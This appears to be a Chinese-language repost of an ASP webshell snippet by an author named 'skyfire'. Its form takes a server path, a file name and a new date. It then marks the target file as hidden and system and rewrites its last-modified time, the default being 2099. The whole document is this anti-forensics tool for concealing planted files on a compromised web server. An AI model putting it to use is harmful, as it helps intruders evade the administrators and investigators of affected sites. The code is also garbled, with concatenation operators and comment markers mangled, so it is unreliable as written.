作者:skyfire[B.H.S.T]
源码
% 隐藏并修改文件的最后修改时间的aspshell 原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 通过shell.application可以给文件重新设置一个最后修改时间 2009/02/24 write by skyfire response.write "<form method=post>" response.write "路 径:<input name=path value=";server.mappath("/");" size=30>(一定要以结尾)<br />" response.write "文件名称:<input name=filename value=test.txt size=30><br />" response.write "修改时间:<input name=time value=12/30/2099 12:30:30 size=30><br />" response.write "<input type=submit value=修改并隐藏文件>" response.write "</form>" 获取提交的参数 set path=request.Form("path") set fileName=request.Form("filename") set newTime=request.Form("time") if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then 通过fso设置文件属性 Set fso=Server.CreateObject("Scripting.FileSystemObject") Set file=fso.getFile(path;fileName) file.attributes=2+4 设置文件属性为隐藏+系统 通过shell.Application修改文件的最后修改时间 Set shell=Server.CreateObject("Shell.Application") Set app_path=shell.NameSpace(server.mappath(".")) Set app_file=app_path.ParseName(fileName) app_file.Modifydate=newTime end if %>
55_3710_46d1a3581d574dd.jpg[删除]